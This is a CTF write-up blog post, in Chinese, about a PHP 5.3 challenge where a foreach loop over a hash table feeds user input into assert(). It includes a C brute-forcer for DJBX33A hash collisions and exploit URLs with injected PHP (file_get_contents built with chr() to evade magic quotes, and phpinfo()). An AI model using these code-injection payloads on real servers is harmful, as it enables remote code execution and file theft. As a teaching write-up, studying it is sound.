Study

[CTF]关于PHP5下foreach运行模式的讨论

by Mion, 2021-09-08


这是一道群里大佬出的红包题,由于我是非预期解题,这里给出一下出题人Write Up和自己的一些思考。

原题

PHP Ver : 5.3.29

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
$flag=0;
$array = array('MXPUMXPUMXPUMXPU' => 1, 'NWPUNWPUNWPUNWPU' => 2, 'MXOvMXOvMXOvMXOv' => 3,'NWOvNWOvNWOvNWOv' => 'phpinfo();');
$ref = &$array;
if (isset($_GET['data_key']) && isset($_GET['data_value'])) {
    $data_key = $_GET['data_key'];
    $data_value = $_GET['data_value'];
    if (preg_match('/MX|PU|NW|Ov/i', $data_key)) {
        die('nonono');
    }
    else{
        foreach ($array as $key => $value) {
            if ($flag===0){
                unset($array['NWPUNWPUNWPUNWPU']);
                $array[$data_key] = $data_value;
                $flag=1;
            }
            if($key=='NWOvNWOvNWOvNWOv'){
                call_user_func('assert',$value);
                die('');
            }
            if (current($array) === false) {
                call_user_func('assert',$value);
            }
        }
    }
}
else{
    highlight_file(__FILE__);
}

题解

注意到是php版本5,用了foreach方法,注意到php5中数组和php7存在区别,具体可见:

了解到hash算法是djbx33a后,考虑hash碰撞。由于该hash算法的特性,两两⼀组进行碰撞,碰撞出array_key=O6Q4O6Q4O6Q4O6Q4.

POC

static inline unsigned long zend_inline_hash_func(const char *arKey, unsigned int nKeyLength)
{
    register unsigned long hash = 5381;
    /* variant with the hash unrolled eight times */
    for (; nKeyLength >= 8; nKeyLength -= 8)
    {
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
    }
    switch (nKeyLength)
    {
    case 7:
        hash = ((hash << 5) + hash) + *arKey++; 
    case 6:
        hash = ((hash << 5) + hash) + *arKey++; 
    case 5:
        hash = ((hash << 5) + hash) + *arKey++; 
    case 4:
        hash = ((hash << 5) + hash) + *arKey++; 
    case 3:
        hash = ((hash << 5) + hash) + *arKey++; 
    case 2:
        hash = ((hash << 5) + hash) + *arKey++; 
    case 1:
        hash = ((hash << 5) + hash) + *arKey++;
        break;
    case 0:
        break;
    }
    return hash;
}
int main()
{
    char a[3];
    a[2] = 0;
    for (byte i = 0; i < 255; i += 1)
    {
        a[0] = i;
        for (byte j = 0; j < 255; j += 1)
        {
            a[1] = j;
            if (zend_inline_hash_func(a, 2) == zend_inline_hash_func("PU", 2))
            {
                std::cout << int(a[0]) << ',' << int(a[1]) << std::endl;
            }
        }
    }
}

绕过后,进行命令执行,发现开了magic quote,所有的'会被转义成\'
https://www.cnblogs.com/phpddt/articles/3131136.html
用php中的char函数来构造字符串。

http://xxx/?data_key=O6Q4O6Q4O6Q4O6Q4&data_value=var_dump(file_get_contents(chr(47).flag));

思考

在刚拿到这道题的时候尝试使用正则绕过来构造PoC如下:

http://xxx/?data_key=N%0AW%0AP%0AU%0AN%0AW%0AP%0AU%0AN%0AWPUNWPU%0A&data_value=phpinfo();

发现怎么也跑不进构造的新数组里去。

在阅读大佬放出的Hint后得到如下关键信息:


233.png

于是想到直接碰撞hash,但是苦于找不到PHP的hash算法,就随便魔改了一下原字符串得到:

http://xxx/?data_key=WNUPWNUPWNUPWNUP&data_value=phpinfo();

魔幻的事情开始了,竟然能够成功执行代码并非预期解拿到了flag和一杯奶茶。非预期解原因暂时未知。

CTF

作者: Mion

2024 © Mion'Blog & Theme By xingr